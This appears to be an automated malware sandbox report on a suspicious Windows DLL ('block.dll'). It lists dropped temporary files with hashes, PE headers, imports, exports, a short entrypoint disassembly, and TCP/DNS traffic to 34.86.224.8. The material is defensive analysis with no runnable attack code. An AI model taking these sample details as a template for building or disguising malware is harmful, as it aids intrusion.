Preview:	.PNG........IHDR.../...0.......#.....IDATx^...pUU..{....KB........!....F......jp.Q.......Vg.F..m.Q....{...,m.@.56D...&$d!.<..}....s..K9.....{............[./<..T..I.I..JR)).9.k.N.%.E.W^}....Po..............X..;.=.P......./...+...9./..s.....9..\|........7v.`..V.....-^.$S[[[......K..z......3..3....5 ...0.."/n/.c...&.{.ht..?....A..I{.n.....\|....t......N}..%.v...:.E..i....`....a.k.mg.LX..fcFU.fO-..YEfd.}...~."......}l$....^.re..'^X..}.?.^U.G..... .30...X......f[.l0.P`..KC...[..[..6....~..i..Q.\|;x..T ..........s.5...n+.0..;...H#.2..#.M..m[^3x&E.Ya..\K..{[..M..g...yf0..~....M.]7..ZZZ:..a.O.G64]....9..l[..a....N,,.h......5...f.y...}...BX{.G^...?.c.......s^..P.(..G...t.0.:.X.DCs.....]vf...py).........x..>-..Be.a...G...Y!...z...g.{....d.s.o.....%.x......R.W.....Z.b,....!..6Ub....U.qY(/v..m.a...4.`Qr\.E.G..a)..t..e.j.W........C<.1.....c..l1w....]3%....tR;.,..3..-.NW.5...t..H..h..D..b......M....)B..2J...)..o..m..M.t....wn./....+Wv....xkg....

C:\Users\user\AppData\Local\Temp\JavaDeployReg.log Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	89
Entropy (8bit):	4.440534734931472
Encrypted:	false
SSDEEP:	3:oVXUWWwdfHyT498JOGXnEWWwdfHyu7n:o9URCO49qERCP
MD5:	8FF4370F22C0CE2351DA947BE6F83F5B
SHA1:	FDF569D73F3FFD3F570F647307D6B917C27A9B41
SHA-256:	FDC14D2864207C5D9365DF8E3EB6502A65FFE051DC60D95802E7AF839222316F
SHA-512:	9CA7256AA9B361D687C16E72752A3C05EAC378E512A332A74C00AB9F0CF99A412666BF974F717934AC5D42032F86619FB8268DD7F910A52B926669BE0C99578C
Malicious:	false
Preview:	[2021/05/03 18:48:22.538] Latest deploy version: ..[2021/05/03 18:48:22.538] 11.211.2 ..

C:\Users\user\AppData\Local\Temp\~DF036A3D1EB4248F1E.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	40089
Entropy (8bit):	0.6599359687427162
Encrypted:	false
SSDEEP:	96:kBqoxKAuvScS+bVHuVsvnjN3vnjNovnjNl:kBqoxKAuqR+bVHuVsvnjhvnjivnj3
MD5:	FF2D15E011E0496306B6C2414AB0B8CC
SHA1:	2906B71E01D3B84C3A349A5BB141579B9881D7B9
SHA-256:	E8DA3049827E46B694E8BBDDD06CB5DEEC783E01A683355B74D98D4ED7B78ABB
SHA-512:	BC77343357EDFD93D7734638ED8D94AFC5F93FD981CA5C1BF0F1A742200AD4410FBC13E3F3BB55F3F7419C6C1289D9639EF8F6FF7423C993E7CAB4CA2E3A8015
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF0A1D9E093A9500C1.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	40169
Entropy (8bit):	0.6772971799557037
Encrypted:	false
SSDEEP:	192:kBqoxKAuqR+9l9L9p9Y979u/N+nlji/N+nlx/N+nlC:kBqoxKAuqR+npLCJgl+l+l+lxl+lC
MD5:	160079EFD579CA666BE735C08F26C445
SHA1:	1806885C8CA36C4CDF7794EBDC30389DE3237329
SHA-256:	D9A217BC6B4A301CD000FE5100157868A11F35DD60A6066E84CE97C48D909135
SHA-512:	B988E463C1258F77A3B40D7EBFE0D01BB0AB69AA3C5E5FDB1659A38B94F13F112D2C2DCDC9F16BDB78DCB67950DE51484E1ABF908F45F26C239B2A75A14980BC
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF183688B2D13937F7.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	40201
Entropy (8bit):	0.6811893827704737
Encrypted:	false
SSDEEP:	96:kBqoxKAuvScS+5XF03SuX9Z/n3vbuX9Z/n3v8uX9Z/n3vp:kBqoxKAuqR+5XF03SmDPvbmDPv8mDPvp
MD5:	27BB594A0AB53DD29A7E9CDB971620AD
SHA1:	72E143229D158D7C83B8664C454B548FA5AD2B87
SHA-256:	932489B48044D1A6D882E08888F8729273C08E074363682C87CAA9FACA075D9D
SHA-512:	40917888B0935FE1276A55A18E8D69BFB956D78186B109E1F4428F4BA43482F8F2F5E3B182155832C5A50F6272250E835E8E8C68BAB0EECD7271715CD8FD9A70
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF187EAA56E17D73EA.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	13237
Entropy (8bit):	0.6016360207526511
Encrypted:	false
SSDEEP:	24:c9lLh9lLh9lIn9lIn9lobr9lobr9lWbev:kBqoIg+0
MD5:	914561B0C688E8E1CA14C67499BE30C2
SHA1:	5C448977B3168081D531995338AAF0D60F9B00C7
SHA-256:	6B26353DE2521CC4461700595A9AB0D43B9EFE720935303C8204F57094646BC9
SHA-512:	DCD826769FF92EF0AEA11C152A471DE2CEC1BCF7F7290BEE23F36C67768485543E9CE6F00D153EE918BF9B0D9D739BCB607267A1FF35AAF770020F6E386EEC3D
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF436970D6C9CDDC13.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	13237
Entropy (8bit):	0.601268923597091
Encrypted:	false
SSDEEP:	24:c9lLh9lLh9lIn9lIn9loM9loc9lWodv5qII6/I6t:kBqoI3Rob5Bt
MD5:	77B34D67FC181C06D52989A09253DBCA
SHA1:	0CA09CAEA3B28D8D2118D22BB0F60DACDE737A56
SHA-256:	DC8DC05DD69E6D108C3E1FC75BBCFE68EDAD675619EB9E5D60CB5E25B99FFD8D
SHA-512:	21D7B9A214CA1B89104CBC5589C1D86651AD748634769663AAAB7FA71431BA36C1BC1AB6CE3A0EB245F5545FD00DBDD114858EE098DAE2CFAC2837C54F3784A0
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF4827C4CB6E557F67.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	13237
Entropy (8bit):	0.6022427977290185
Encrypted:	false
SSDEEP:	24:c9lLh9lLh9lIn9lIn9loS9loC9lWtMc19G:kBqoIdbtD1Q
MD5:	13A5C0F618708CA28DF68FD701769E5C
SHA1:	694068741D15485FCFDBC5A35A22954FC3146161
SHA-256:	D60BADA94C131DEBB03E213A7306E8C2ED86600FE0151B4DB43F9713D2612A14
SHA-512:	31ACFD9D0E04D2A5D7E677F2AC2C56D2867DB59ECC9A230A57FDDDE5E88C009701C4ADF221957A9D177BA457BD8B12CEACEFAB25976E98789708E576A3885A6E
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF712A270B72970A19.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	40105
Entropy (8bit):	0.6634934338478001
Encrypted:	false
SSDEEP:	96:kBqoxKAuvScS+xvdc/KKPmIMKPmIfKPmIw:kBqoxKAuqR+xvdc/KKOIMKOIfKOIw
MD5:	A222915BA4257C6D1EB386FECB056DC6
SHA1:	C6BBC1049D55CB4C6824EA9BB7687AC2F06B3103
SHA-256:	99AF70584489BEC168813A14F24E4AC44D04FD2338AA21AF033950B59F3E499B
SHA-512:	591C89D6A22B0CBD5878FCED2B91F4B5B2E7134C7C46F769FC6B096CF7AADAF7D332A63CF6BE3A94D7A6754DC2EA3E402E3261FA482D8C9DADD94362F6650552
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF7FEBD80971BE8B6A.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	40177
Entropy (8bit):	0.6755040498857002
Encrypted:	false
SSDEEP:	192:kBqoxKAuqR+w2st2PG1fV7BzbG1fV7BzQG1fV7Bz9:kBqoxKAuqR+w2st2PGFxNGFxqGFxH
MD5:	1E1D9A17053F05ED7918C93FACB955B1
SHA1:	D6EB7A136B1CF8A73D0B620DD7DCC754A835EDA6
SHA-256:	343C1B870724E97FA3E8BB51F5C6005F95EB7CF49D0980CD47C8874160DECEA9
SHA-512:	E959A20BCAC14030042AA508C4E5C16E39B4E363A5C71146615D8711F9B6C6056BD01658BCA0357036EB9B73AB45CC19CA75CA044A8CDF8E0DF51650038FC53E
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFE60F766B8C74F7D6.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	40057
Entropy (8bit):	0.6519938493574535
Encrypted:	false
SSDEEP:	96:kBqoxKAuvScS+Jn1kH6bPRchG9VKbPRchG9bbPRchG9s:kBqoxKAuqR+Jn1kH6brbKbrpbrK
MD5:	5559F80F8E342C6FECAC7491773371EF
SHA1:	50FE132B31270D9638F5E6B45A03003AD47A3F75
SHA-256:	8BF42482148F7407571C8F04A19285EF5047F7DF09EA55639B0C048E9E8405EC
SHA-512:	A764381138313CFDAB5FC17232316E4D6E03213C2C2258D44D8FC97F73B57A54C4BAA060354F68EA01DA0A93BE48D56BE0A9444610948FF63C766760C9EA8F5E
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General
File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.133421258123313
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	block.dll
File size:	312832
MD5:	5a7c87dab250cee78ce63ac34117012b
SHA1:	554c4ccf2341182768d475087d8a8bcfaa525a12
SHA256:	8a26c32848c9ea085505359f67927d1a744ec07303ed0013e592eca6b4df4790
SHA512:	3b4bd7963e3c397618562708064674bd2418f5cab71ce861986efa3bcd14fa6b0155daece10b9a7ad3fe0f7fac6fdfd693b4ac2451f4eaabb30ba8253286b7ed
SSDEEP:	6144:92dsJtFrYUZZqrS6HtYP612U8ZIbBmWMOzWb/0:9SsJtFrYJS6NYy123IMWLz5
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................Rich............PE..L....Hn`...........!.......

File Icon


Icon Hash:	74f0e4ecccdce0e4

Static PE Info

General
Entrypoint:	0x1033bd2
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x1000000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
DLL Characteristics:	DYNAMIC_BASE
Time Stamp:	0x606E48DF [Thu Apr 8 00:05:51 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	1b129b745ed786ce1fe8186651a3c22d

Entrypoint Preview

Instruction
mov edi, edi
push ebp
mov ebp, esp
cmp dword ptr [ebp+0Ch], 01h
jne 00007F36F0D6BA57h
call 00007F36F0D71962h
push dword ptr [ebp+08h]
mov ecx, dword ptr [ebp+10h]
mov edx, dword ptr [ebp+0Ch]
call 00007F36F0D6B941h
pop ecx
pop ebp
retn 000Ch
mov eax, 0104A110h
ret
mov eax, dword ptr [01151140h]
push esi
push 00000014h
pop esi
test eax, eax
jne 00007F36F0D6BA59h
mov eax, 00000200h
jmp 00007F36F0D6BA58h
cmp eax, esi
jnl 00007F36F0D6BA59h
mov eax, esi
mov dword ptr [01151140h], eax
push 00000004h
push eax
call 00007F36F0D711BBh
pop ecx
pop ecx
mov dword ptr [01150120h], eax
test eax, eax
jne 00007F36F0D6BA70h
push 00000004h
push esi
mov dword ptr [01151140h], esi
call 00007F36F0D711A2h
pop ecx
pop ecx
mov dword ptr [01150120h], eax
test eax, eax
jne 00007F36F0D6BA57h
push 0000001Ah
pop eax
pop esi
ret
xor edx, edx
mov ecx, 0104A110h
jmp 00007F36F0D6BA57h
mov eax, dword ptr [01150120h]
mov dword ptr [edx+eax], ecx
add ecx, 20h
add edx, 04h
cmp ecx, 0104A390h
jl 00007F36F0D6BA3Ch
push FFFFFFFEh
pop esi
xor edx, edx
mov ecx, 0104A120h
push edi
mov eax, edx
sar eax, 05h
mov eax, dword ptr [01150020h+eax*4]
mov edi, edx
and edi, 1Fh
shl edi, 06h
mov eax, dword ptr [edi+eax]
cmp eax, FFFFFFFFh
je 00007F36F0D6BA5Ah
cmp eax, esi
je 00007F36F0D6BA56h
test eax, eax
jne 00007F36F0D6BA54h

Rich Headers

Programming Language:

[ C ] VS2008 build 21022
[ASM] VS2008 build 21022
[LNK] VS2008 build 21022
[RES] VS2008 build 21022
[EXP] VS2008 build 21022
[IMP] VS2008 SP1 build 30729
[C++] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x49f60	0x54	.text
IMAGE_DIRECTORY_ENTRY_IMPORT	0x4959c	0x3c	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x152000	0x388	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x153000	0x10d0	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x11f0	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x9e10	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x1a8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x48fb4	0x49000	False	0.632240608947	data	6.19236668836	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x4a000	0x107148	0x1000	False	0.2314453125	data	2.33342954195	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x152000	0x388	0x400	False	0.3984375	data	3.01615246914	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x153000	0x1d08	0x1e00	False	0.478645833333	data	4.6094977131	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_VERSION	0x152058	0x330	data	English	United States

Imports

DLL

Import

KERNEL32.dll

TlsAlloc, TlsSetValue, VirtualProtectEx, FindFirstChangeNotificationW, CompareStringW, CompareStringA, CreateFileA, GetTimeZoneInformation, SetStdHandle, WriteConsoleW, GetConsoleOutputCP, WriteConsoleA, CloseHandle, GetLocaleInfoW, HeapSize, SetFilePointer, IsValidLocale, EnumSystemLocalesA, GetLocaleInfoA, GetUserDefaultLCID, GetDateFormatA, GetTimeFormatA, GetStringTypeW, GetStringTypeA, HeapAlloc, GetCurrentThreadId, GetCommandLineA, EnterCriticalSection, LeaveCriticalSection, SetHandleCount, GetStdHandle, GetFileType, GetStartupInfoA, DeleteCriticalSection, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, FatalAppExitA, HeapFree, VirtualFree, VirtualAlloc, HeapReAlloc, HeapCreate, HeapDestroy, GetModuleHandleW, Sleep, GetProcAddress, ExitProcess, WriteFile, GetModuleFileNameA, TlsGetValue, TlsFree, InterlockedIncrement, SetLastError, GetLastError, InterlockedDecrement, GetCurrentThread, FreeEnvironmentStringsA, GetEnvironmentStrings, FreeEnvironmentStringsW, WideCharToMultiByte, GetEnvironmentStringsW, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, InitializeCriticalSectionAndSpinCount, RtlUnwind, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, SetConsoleCtrlHandler, FreeLibrary, InterlockedExchange, LoadLibraryA, GetConsoleCP, GetConsoleMode, FlushFileBuffers, LCMapStringA, MultiByteToWideChar, LCMapStringW, SetEnvironmentVariableA

snmpapi.dll

SnmpSvcGetUptime, SnmpSvcSetLogLevel, SnmpSvcSetLogType, SnmpUtilAsnAnyCpy, SnmpUtilIdsToA, SnmpUtilMemAlloc, SnmpUtilMemFree, SnmpUtilMemReAlloc, SnmpUtilAsnAnyFree, SnmpUtilDbgPrint, SnmpUtilOctetsCmp, SnmpUtilOctetsNCmp, SnmpUtilOidAppend, SnmpUtilOidCmp, SnmpUtilOidCpy, SnmpUtilOidFree, SnmpUtilVarBindFree, SnmpUtilVarBindListCpy, SnmpUtilVarBindListFree

Exports

Name	Ordinal	Address
Pape1	1	0x103343e
Riverslow	2	0x103328b

Version Infos

Description	Data
LegalCopyright	Equalher Corporation. All rights reserved
InternalName	Period
FileVersion	3.4.8.182
CompanyName	Equalher Corporation Doublemolecule
ProductName	Equalher Size self
ProductVersion	3.4.8.182
FileDescription	Equalher Size self
OriginalFilename	How.dll
Translation	0x0409 0x04b0

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 3, 2021 18:47:14.766761065 CEST	49721	80	192.168.2.5	34.86.224.8
May 3, 2021 18:47:14.766959906 CEST	49722	80	192.168.2.5	34.86.224.8
May 3, 2021 18:47:14.891196012 CEST	80	49722	34.86.224.8	192.168.2.5
May 3, 2021 18:47:14.891220093 CEST	80	49721	34.86.224.8	192.168.2.5
May 3, 2021 18:47:14.891552925 CEST	49722	80	192.168.2.5	34.86.224.8
May 3, 2021 18:47:14.892385006 CEST	49722	80	192.168.2.5	34.86.224.8
May 3, 2021 18:47:14.892384052 CEST	49721	80	192.168.2.5	34.86.224.8
May 3, 2021 18:47:15.058485031 CEST	80	49722	34.86.224.8	192.168.2.5
May 3, 2021 18:47:15.634268045 CEST	80	49722	34.86.224.8	192.168.2.5
May 3, 2021 18:47:15.634433985 CEST	49722	80	192.168.2.5	34.86.224.8
May 3, 2021 18:47:15.638557911 CEST	49722	80	192.168.2.5	34.86.224.8
May 3, 2021 18:47:15.679776907 CEST	49724	80	192.168.2.5	34.86.224.8
May 3, 2021 18:47:15.680658102 CEST	49723	80	192.168.2.5	34.86.224.8
May 3, 2021 18:47:15.762906075 CEST	80	49722	34.86.224.8	192.168.2.5
May 3, 2021 18:47:15.803977966 CEST	80	49724	34.86.224.8	192.168.2.5
May 3, 2021 18:47:15.804167032 CEST	49724	80	192.168.2.5	34.86.224.8
May 3, 2021 18:47:15.804209948 CEST	80	49723	34.86.224.8	192.168.2.5
May 3, 2021 18:47:15.804286957 CEST	49723	80	192.168.2.5	34.86.224.8
May 3, 2021 18:47:15.804673910 CEST	49724	80	192.168.2.5	34.86.224.8
May 3, 2021 18:47:15.970056057 CEST	80	49724	34.86.224.8	192.168.2.5
May 3, 2021 18:47:16.549617052 CEST	80	49724	34.86.224.8	192.168.2.5
May 3, 2021 18:47:16.549760103 CEST	49724	80	192.168.2.5	34.86.224.8
May 3, 2021 18:47:16.550539017 CEST	49724	80	192.168.2.5	34.86.224.8
May 3, 2021 18:47:16.674575090 CEST	80	49724	34.86.224.8	192.168.2.5
May 3, 2021 18:47:17.380839109 CEST	49721	80	192.168.2.5	34.86.224.8
May 3, 2021 18:47:17.615365982 CEST	49723	80	192.168.2.5	34.86.224.8
May 3, 2021 18:47:59.645054102 CEST	49728	80	192.168.2.5	34.86.224.8
May 3, 2021 18:47:59.645824909 CEST	49729	80	192.168.2.5	34.86.224.8
May 3, 2021 18:47:59.769587994 CEST	80	49729	34.86.224.8	192.168.2.5
May 3, 2021 18:47:59.770083904 CEST	80	49728	34.86.224.8	192.168.2.5
May 3, 2021 18:47:59.770087004 CEST	49729	80	192.168.2.5	34.86.224.8
May 3, 2021 18:47:59.770190001 CEST	49728	80	192.168.2.5	34.86.224.8
May 3, 2021 18:47:59.770210028 CEST	49729	80	192.168.2.5	34.86.224.8
May 3, 2021 18:47:59.937794924 CEST	80	49729	34.86.224.8	192.168.2.5
May 3, 2021 18:48:00.452465057 CEST	49730	80	192.168.2.5	34.86.224.8
May 3, 2021 18:48:00.452893019 CEST	49731	80	192.168.2.5	34.86.224.8
May 3, 2021 18:48:00.513370991 CEST	80	49729	34.86.224.8	192.168.2.5
May 3, 2021 18:48:00.513503075 CEST	49729	80	192.168.2.5	34.86.224.8
May 3, 2021 18:48:00.518239021 CEST	49729	80	192.168.2.5	34.86.224.8
May 3, 2021 18:48:00.576894999 CEST	80	49731	34.86.224.8	192.168.2.5
May 3, 2021 18:48:00.576932907 CEST	80	49730	34.86.224.8	192.168.2.5
May 3, 2021 18:48:00.577028990 CEST	49731	80	192.168.2.5	34.86.224.8
May 3, 2021 18:48:00.577064037 CEST	49730	80	192.168.2.5	34.86.224.8
May 3, 2021 18:48:00.591386080 CEST	49731	80	192.168.2.5	34.86.224.8
May 3, 2021 18:48:00.643784046 CEST	80	49729	34.86.224.8	192.168.2.5
May 3, 2021 18:48:00.757878065 CEST	80	49731	34.86.224.8	192.168.2.5
May 3, 2021 18:48:01.351161003 CEST	80	49731	34.86.224.8	192.168.2.5
May 3, 2021 18:48:01.351258039 CEST	49731	80	192.168.2.5	34.86.224.8
May 3, 2021 18:48:01.357287884 CEST	49731	80	192.168.2.5	34.86.224.8
May 3, 2021 18:48:01.481477022 CEST	80	49731	34.86.224.8	192.168.2.5
May 3, 2021 18:48:01.666564941 CEST	49728	80	192.168.2.5	34.86.224.8
May 3, 2021 18:48:02.654160976 CEST	49730	80	192.168.2.5	34.86.224.8
May 3, 2021 18:48:23.810090065 CEST	49739	80	192.168.2.5	34.86.224.8
May 3, 2021 18:48:23.810103893 CEST	49738	80	192.168.2.5	34.86.224.8
May 3, 2021 18:48:23.933738947 CEST	80	49739	34.86.224.8	192.168.2.5
May 3, 2021 18:48:23.933774948 CEST	80	49738	34.86.224.8	192.168.2.5
May 3, 2021 18:48:23.933928967 CEST	49739	80	192.168.2.5	34.86.224.8
May 3, 2021 18:48:23.933994055 CEST	49738	80	192.168.2.5	34.86.224.8
May 3, 2021 18:48:23.936448097 CEST	49739	80	192.168.2.5	34.86.224.8
May 3, 2021 18:48:24.102051020 CEST	80	49739	34.86.224.8	192.168.2.5
May 3, 2021 18:48:24.354640961 CEST	49741	80	192.168.2.5	34.86.224.8
May 3, 2021 18:48:24.354646921 CEST	49740	80	192.168.2.5	34.86.224.8
May 3, 2021 18:48:24.479403019 CEST	80	49741	34.86.224.8	192.168.2.5
May 3, 2021 18:48:24.479603052 CEST	49741	80	192.168.2.5	34.86.224.8
May 3, 2021 18:48:24.480334044 CEST	49741	80	192.168.2.5	34.86.224.8
May 3, 2021 18:48:24.480357885 CEST	80	49740	34.86.224.8	192.168.2.5
May 3, 2021 18:48:24.480648994 CEST	49740	80	192.168.2.5	34.86.224.8
May 3, 2021 18:48:24.645802975 CEST	80	49741	34.86.224.8	192.168.2.5
May 3, 2021 18:48:24.702848911 CEST	80	49739	34.86.224.8	192.168.2.5
May 3, 2021 18:48:24.703027964 CEST	49739	80	192.168.2.5	34.86.224.8
May 3, 2021 18:48:24.710391045 CEST	49739	80	192.168.2.5	34.86.224.8
May 3, 2021 18:48:24.834032059 CEST	80	49739	34.86.224.8	192.168.2.5
May 3, 2021 18:48:25.221971035 CEST	80	49741	34.86.224.8	192.168.2.5
May 3, 2021 18:48:25.222157001 CEST	49741	80	192.168.2.5	34.86.224.8
May 3, 2021 18:48:25.223335028 CEST	49741	80	192.168.2.5	34.86.224.8
May 3, 2021 18:48:25.348866940 CEST	80	49741	34.86.224.8	192.168.2.5
May 3, 2021 18:48:25.779598951 CEST	49738	80	192.168.2.5	34.86.224.8
May 3, 2021 18:48:26.596709013 CEST	49740	80	192.168.2.5	34.86.224.8

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 3, 2021 18:46:12.911582947 CEST	61805	53	192.168.2.5	8.8.8.8
May 3, 2021 18:46:12.963943958 CEST	53	61805	8.8.8.8	192.168.2.5
May 3, 2021 18:46:13.134573936 CEST	54795	53	192.168.2.5	8.8.8.8
May 3, 2021 18:46:13.191581011 CEST	53	54795	8.8.8.8	192.168.2.5
May 3, 2021 18:46:15.593848944 CEST	49557	53	192.168.2.5	8.8.8.8
May 3, 2021 18:46:15.642363071 CEST	53	49557	8.8.8.8	192.168.2.5
May 3, 2021 18:46:16.634701014 CEST	61733	53	192.168.2.5	8.8.8.8
May 3, 2021 18:46:16.688988924 CEST	53	61733	8.8.8.8	192.168.2.5
May 3, 2021 18:46:17.805114985 CEST	65447	53	192.168.2.5	8.8.8.8
May 3, 2021 18:46:17.856762886 CEST	53	65447	8.8.8.8	192.168.2.5
May 3, 2021 18:46:18.751509905 CEST	52441	53	192.168.2.5	8.8.8.8
May 3, 2021 18:46:18.804245949 CEST	53	52441	8.8.8.8	192.168.2.5
May 3, 2021 18:46:19.863552094 CEST	62176	53	192.168.2.5	8.8.8.8
May 3, 2021 18:46:19.915088892 CEST	53	62176	8.8.8.8	192.168.2.5
May 3, 2021 18:46:20.678106070 CEST	59596	53	192.168.2.5	8.8.8.8
May 3, 2021 18:46:20.726871014 CEST	53	59596	8.8.8.8	192.168.2.5
May 3, 2021 18:46:22.204437971 CEST	65296	53	192.168.2.5	8.8.8.8
May 3, 2021 18:46:22.258414030 CEST	53	65296	8.8.8.8	192.168.2.5
May 3, 2021 18:46:23.192095041 CEST	63183	53	192.168.2.5	8.8.8.8
May 3, 2021 18:46:23.249205112 CEST	53	63183	8.8.8.8	192.168.2.5
May 3, 2021 18:46:23.490803957 CEST	60151	53	192.168.2.5	8.8.8.8
May 3, 2021 18:46:23.548022985 CEST	53	60151	8.8.8.8	192.168.2.5
May 3, 2021 18:46:24.179348946 CEST	56969	53	192.168.2.5	8.8.8.8
May 3, 2021 18:46:24.232636929 CEST	53	56969	8.8.8.8	192.168.2.5
May 3, 2021 18:46:44.178430080 CEST	55161	53	192.168.2.5	8.8.8.8
May 3, 2021 18:46:44.244565010 CEST	53	55161	8.8.8.8	192.168.2.5
May 3, 2021 18:46:52.540476084 CEST	59736	53	192.168.2.5	8.8.8.8
May 3, 2021 18:46:52.541141033 CEST	51058	53	192.168.2.5	8.8.8.8
May 3, 2021 18:46:52.541220903 CEST	52636	53	192.168.2.5	8.8.8.8
May 3, 2021 18:46:52.590992928 CEST	53	59736	8.8.8.8	192.168.2.5
May 3, 2021 18:46:52.592092037 CEST	53	52636	8.8.8.8	192.168.2.5
May 3, 2021 18:46:52.594736099 CEST	53	51058	8.8.8.8	192.168.2.5
May 3, 2021 18:46:55.826813936 CEST	54757	53	192.168.2.5	8.8.8.8
May 3, 2021 18:46:55.880345106 CEST	53	54757	8.8.8.8	192.168.2.5
May 3, 2021 18:46:59.982454062 CEST	49992	53	192.168.2.5	8.8.8.8
May 3, 2021 18:47:00.041860104 CEST	53	49992	8.8.8.8	192.168.2.5
May 3, 2021 18:47:01.451494932 CEST	60075	53	192.168.2.5	8.8.8.8
May 3, 2021 18:47:01.511352062 CEST	53	60075	8.8.8.8	192.168.2.5
